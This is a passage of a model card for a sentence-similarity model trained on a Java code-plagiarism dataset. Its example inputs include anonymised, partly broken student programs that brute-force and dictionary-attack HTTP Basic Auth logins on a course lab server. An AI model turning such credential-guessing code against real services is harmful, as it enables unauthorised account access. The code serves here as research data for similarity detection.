args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog [First] \\n {The First at the end is\ \ used when running the watch dog for a new URL for the first Time}\");\n\t\t\ boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\ First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\ \n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\ \ i=0;i \");\n \treturn;\n \t\n }\n \n \n \n BufferedReader\ \ rnew;\n \n BufferedReader rold = ReadFile (urlString);\n \n SaveFile(\"\ weblog\",urlString); \n \n Date lasttime = CheckTime(urlString);\n \n\ \ \n Date newtime = new Date();\n \n int i = 0; \n \n System.out.println(\"\ ......\"); \n \n \n while (true) {\n \t\n \t \t\n \tnewtime\ \ = CheckTime(urlString);\n \t\n \tSystem.out.println (\"Checking \"+ new\ \ Date());\n \t\n \tif (newtime.toString().equals(lasttime.toString())==false)\ \ {\n \t\t\n \t\n \t rnew = ReadFile (urlString);\n \t \t\n\ \ \t\t \t\t\n \t\tmesg = CompareFile(rold,rnew);\n \t\t\n \t\t\ \n \t\tSaveFile(\"weblog\",urlString);\n \t\t\n \t\t\n \t\trold\ \ = OpenFile (\"weblog\");\n \t\t\n \t\t\n \t\tlasttime=newtime;\n \t\ \t\n \t System.out.println(\"Sending message\");\n \t \n \t \ \ SendMail(trimtag(mesg),args[0],args[1],args[2]); \n \t \n \t System.out.println(trimtag(mesg));\n\ \ \t\n \t\n \t} \n \t\n \tThread.sleep (24*3600*1000); \n \t\ }\n \n \n \n }\n\n \n \n private static BufferedReader ReadFile\ \ (String urlString) throws IOException{\n \t\n \t \ \ \n \n URL url = new URL (urlString);\n\n \n HttpURLConnection\ \ uc = (HttpURLConnection) url.openConnection();\n \n \n \ \ InputStream in = (InputStream) uc.getInputStream();\n \n BufferedReader\ \ r = new BufferedReader (new InputStreamReader (in));\n \n \n \ \ \n return r;\n \n \n }\n\n \n\n private static BufferedReader\ \ OpenFile (String FileName) throws IOException{\n \t\n FileInputStream\ \ in = new FileInputStream (FileName);\n \n InputStreamReader is=\ \ new InputStreamReader (in); \t \n \n BufferedReader\ \ r = new BufferedReader (is);\n \n \n return r;\n \n\ \ \n \n \n }\n\n\n \n \nprivate static void SaveFile (String\ \ FileName, String urlstring) throws IOException{\n \t\n \t \n \tString\ \ cmd = \"wget -q \"+urlstring+\" -O \"+ FileName ;\n \t\n \t\n \tRuntime.getRuntime().exec(cmd);\ \ \n \t \n }\n\n \n \n \n \n private static Date CheckTime (String\ \ urlString) throws IOException {\n \t\n \t URL url = new URL (urlString);\n\ \n \n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\ \ \n uc.setRequestMethod (\"HEAD\");\n \n return (new\ \ Date (uc.getLastModified()));\n \n \n \n } \n\ \ \n \n \n private static String CompareFile (BufferedReader inold, BufferedReader\ \ innew) throws IOException{\n \t\n \t\n \t\n \t Vector newF= new Vector\ \ ();\n Vector oldF= new Vector ();\n\n\n int old_count=0;\n\t \t\ int new_count=0;\n\n\t \tString line=\"\";\n\n StringBuffer mesg = new\ \ StringBuffer (\"NEW CONTENT : \\n\");\n\n\t \tint j;\n \n \n \ \ \n\t while ((line=inold.readLine())!= null){\n\n\t \t\t if (line.trim().length()!=0){\n\ \t \t\t oldF.addElement(line);\n\t \t\t \n\t \t\n\t \t\t \n\t \t\t }\n\n\t \t\ \t }\n\n\t \twhile ((line=innew.readLine()) != null){\n\t \t\t if (line.trim().length()!=0){\n\ \t \t\t newF.addElement(line);\n\t }\n\n\t \t\t }\n\n\t \tfor (int i=0;\ \ i\"); \n\t\n\t \ \ \n\t subst=mesg.substring(i,j+1); \n\t \n\t while (subst.startsWith(taglist[m])==false)\ \ {\n\t \t\n\t \tm++;\n\t \t\n\t \tif (m==taglist.length) \n\t \t\n\t\ \ \t{ m--;\n\t \t\tbreak;\n\t }\n\t \t\n\t \t}\t\n\t \n\t if\ \ (subst.startsWith(taglist[m])) tempst.append (subst);\n\t \n\t \n\t mesg\ \ = mesg.substring(j+1);\n\t \n\t \n\t }\n\t\n\t return tempst.toString();\n\ \t \n\t}\n\n\n\n\n} " sentences: - "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\ \ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\ \ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\ \ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \ \ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\ \ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \ \ \n while(tmp!=1)\n {\n try\n {\n\ \ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\ \ tmp=1;\n }\n catch (IOException e) {}\n\ \ \n } \n\n while ((str = in.readLine()) !=\ \ null) \n {\n \n \n \n }\n \ \ \n\n System.out.println(\"The successful Password found using\ \ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\ \ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\ \ extends Authenticator \n{\n String username = \"\";\n static String password\ \ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \ \ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \ \ try\n {\n fReader = new BufferedReader\n \ \ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\ \ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\ );\n System.out.println(\" File Opened\");\n System.exit(1);\n\ \ }\n catch (IOException e)\n {\n System.out.println(\"\ File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\ \ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\ \ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\ \ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\ \ {\n System.out.println(\"Password Not found in file '\" +\ \ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \ \ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\ );\n System.out.println(ioe);\n }\n\n return password;\n }\n\ \n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\ \ \n return new PasswordAuthentication(username, getPass().toCharArray());\ \ \n\n } \n}\n" - "\nimport java.util.*;\n\npublic class CrackThread implements Runnable {\n\n \ \ private String strUsername;\n private String strURL;\n private int iSeed;\n\ \ private int iEnd;\n \n \n public CrackThread() {\n }\n \n\ \ public void setParams(String url, String username, int seed, int end) {\n\ \ strUsername = username;\n strURL = url;\n iSeed = seed;\n\ \ iEnd = end;\n }\n \n public void run() {\n Date dtStart,\ \ dtEnd;\n PasswordGen pwd = new PasswordGen();\n PasswordTest tester;\n\ \ int i=1;\n boolean bDone = false;\n Result res;\n\n \ \ dtStart = new Date();\n \n \n pwd.setSeed(iSeed);\n\ \ \n while(!bDone) {\n tester = new PasswordTest(strURL,\ \ strUsername, pwd.getNextPassword());\n \n bDone = tester;\n\ \ i++;\n \n \n if(i % 100 == 0)\n\ \ {\n System.out.println(pwd.getPassword());\n \ \ }\n \n if(bDone) {\n \n \ \ res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new\ \ Date(), i);\n System.out.print(res.toString());\n \ \ }\n else\n {\n \n }\n \ \ \n \n if( i >= iEnd) bDone = true;\n } \ \ \n }\n \n}\n" - "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\ \npublic class Dictionary extends Frame implements ActionListener {\n\n private\ \ TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n\ \ public void actionPerformed (ActionEvent e) {\n\t String s = tf.getText();\n\ \t String login=\"\";\n try{\n\t BufferedReader bufr = new BufferedReader\n\ \t\t\t(new FileReader (\"words1.txt\"));\n\t String inputLine=\"\";\n\n\n\n\t\ \ if (s.length() != 0)\n {\n\t\t inputLine = bufr.readLine();\n\t\t while\ \ ((inputLine != null) && (inputLine.length() != 3))\n\t\t {\n\t\t\t \n\t\t\t\ \ inputLine = bufr.readLine();\n\t\t }\n\n login=\":\"+inputLine;\n\ \t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println(\"runing\"\ +login);\n\t }while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"\ Error URL\")!=0);\n\n\t System.out.println(\"The password is: \"+inputLine);\n\ }\ncatch(Exception ex){}\n\n }\n\n public Dictionary() {\n\n super (\"URL11\ \ Password\");\n\n \n add (tf, BorderLayout.LEFT);\n ta.setEditable(false);\n\ \ add (ta, BorderLayout.CENTER);\n tf.addActionListener (this);\n \ \ addWindowListener (new WindowAdapter() {\n public void windowClosing (WindowEvent\ \ e) {\n dispose();\n System.exit(0);\n }\n });\n \ \ }\n\n private String fetchURL (String urlString,String login) {\n StringWriter\ \ sw = new StringWriter();\n PrintWriter pw = new PrintWriter();\n\n try\ \ {\n URL url = new URL (urlString);\n\n \n MyAuthenticator =\ \ new MyAuthenticator();\n \n\n \n String encoding = new url.misc.BASE64Encoder().encode\ \ (login.getBytes());\n\n \n \n\n \n URLConnection uc =\ \ url.openConnection();\n uc.setRequestProperty (\"Authorization\", \"\ \ \" + encoding);\n InputStream content = (InputStream)uc.getInputStream();\n\ \ BufferedReader in =\n new BufferedReader (new InputStreamReader\ \ (content));\n String line;\n while ((line = in.readLine()) != null)\ \ {\n pw.println (line);\n }\n } catch (MalformedURLException\ \ e) {\n pw.println (\"Invalid URL\");\n } catch (IOException e) {\n\ \ pw.println (\"Error URL\");\n }\n return sw.toString();\n }\n\ \n\n public static void main (String args[]) {\n Frame f = new Dictionary();\n\ \ f.setSize(300, 300);\n f.setVisible (true);\n }\n\n class MyAuthenticator\ \ {\n String getPasswordAuthentication(Frame f, String prompt) {\n final\ \ Dialog jd = new Dialog (f, \"Enter password\", true);\n jd.setLayout (new\ \ GridLayout (0, 1));\n Label jl = new Label (prompt);\n jd.add (jl);\n\ \ TextField username = new TextField();\n username.setBackground (Color.lightGray);\n\ \ jd.add (username);\n TextField password = new TextField();\n \ \ password.setEchoChar ('*');\n password.setBackground (Color.lightGray);\n\ \ jd.add (password);\n Button jb = new Button (\"OK\");\n jd.add\ \ (jb);\n jb.addActionListener (new ActionListener() {\n public\ \ void actionPerformed (ActionEvent e) {\n jd.dispose();\n }\n\ \ });\n jd.pack();\n jd.setVisible(true);\n return username.getText()\ \ + \":\" + password.getText();\n\n }\n }\n\n}\n \n\n class Base64Converter\n\ \ \n \n {\n\n public static final char [ ] alphabet = {\n\ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L',\ \ 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\ \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j',\ \ 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\ \ 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7',\ \ '8', '9', '+', '/' }; \n\n \n \n\n public static String encode\ \ ( String s )\n \n {\n return encode ( s.getBytes ( ) );\n\ \ }\n\n public static String encode ( byte [ ] octetString )\n \ \ \n {\n int bits24;\n int bits6;\n\n char [ ] out\n\ \ = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n \ \ int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <=\ \ octetString.length )\n {\n \n bits24 = ( octetString\ \ [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF )\ \ << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n \ \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ \ = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6\ \ ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \ \ \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n \ \ bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24\ \ & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\ \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n \ \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ \ [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i ==\ \ 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF )\ \ << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n\ \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ \ [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n\n \ \ return new String ( out );\n }\n\n \n \n }\n\n" - source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\ \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\ \ char [] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n \ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\ \ {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+\"\ \"+alphabet[j]+\"\"+alphabet[k];\n String userPassword = \":\"+pwd;\n RealThread\ \ myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n\ \ th.start();\n try\n {\n \n \n th.sleep(100);\n }\n \ \ catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\ \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\ \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\ \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\ \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\ \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n\ \ String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ \n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"\ Authorization\", \" \" + encoding);\n System.out.println(\"Reponse = \"+uc.getResponseCode()+\"\ for pwd = \"+userPassword);\n this.responseCode = uc.getResponseCode();\n \n\ \ if(uc.getResponseCode()==200)\n {\n System.out.println(\" ======= Password\ \ Found : \"+userPassword+\" ========================================= \");\n\ \ System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println(\"\ Could not execute Thread \"+num+\" \");\n }\n }\n\n}\n" sentences: - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\ \ class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t\ \ = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\ \t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr =\ \ t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre\ \ = new InputStreamReader(pr.getInputStream());\n BufferedReader\ \ bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\ \t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t \ \ System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t \ \ pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\ \t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader\ \ stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader\ \ bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\ \t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\ \t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5\ \ == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\ \t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\"\ );\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\ \t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\ \ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\ \ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\ \ e){}\n\t}\n}\t\t\n" - "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\ \ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\ \ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\ \ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \ \ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\ \ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ;\n\n while (!auth) {\n \n BufferedReader in = null;\n \ \ try {\n \n in = new BufferedReader(new FileReader(file));\n\ \ while ((word = in.readLine()) != null && !auth) {\n \ \ try {\n if (word.length() <= MAX_LENGTH) {\n \ \ password = word.toCharArray();\n \n \ \ Authenticator.setDefault(new CrackAuth(password));\n \ \ URL url = new URL(resource);\n HttpURLConnection conn\ \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ \ {\n System.out.println(\"cracked with \" + new String(password));\n\ \ auth = true;\n }\n \ \ }\n } catch (Exception e) {\n System.out.println(\"\ \ was exception: \" + e.getMessage());\n }\n }\n\n \ \ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\ File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\ IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\ \ } finally {\n try {\n in.close();\n \ \ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\ \ System.out.println(\"Unable determine password\");\n } else {\n\ \ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\ it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\ \ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\ \ public CrackAuth(char[] password) {\n this.password = password;\n }\n\ \n protected PasswordAuthentication getPasswordAuthentication()\n {\n \ \ String user = \"\";\n return new PasswordAuthentication(user, password);\n\ \ }\n}\n" - "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\ import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\ \nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\ import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\ import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \ \ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\ );\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\ recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\ sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\ messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ \ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\ \ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\ \ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\ Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\ \ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\ \t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\ \ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\ \ static void send(String smtpServer, String receiver,\tString from, String subject,\ \ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\ \n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\ mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\ , \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\ \ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\ \t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\ InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\ \n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\ \t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\ \ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\ catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n" datasets: - buelfhood/SOCO_java pipeline_tag: sentence-similarity library_name: sentence-transformers --- # SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the soco_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - **Model Type:** Sentence Transformer - **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity - **Training Dataset:** - soco_java ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss-2") # Run inference sentences = [ '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n String userPassword = ":"+pwd;\n RealThread myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n th.start();\n try\n {\n \n \n th.sleep(100);\n }\n catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty ("Authorization", " " + encoding);\n System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword);\n this.responseCode = uc.getResponseCode();\n \n if(uc.getResponseCode()==200)\n {\n System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println("Could not execute Thread "+num+" ");\n }\n }\n\n}\n', 'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n', '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr = t.exec("md5sum csfirst.html");\n\n InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n BufferedReader bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\t\t index = s.indexOf(\' \');\n\t\t Fmd5 = s.substring(0,index);\n\t\t System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("md5sum index.html");\n\t\t \n\n\t\t InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\t\t index = temp1.indexOf(\' \');\n\t\t Smd5 = temp1.substring(0,index);\n\t\t 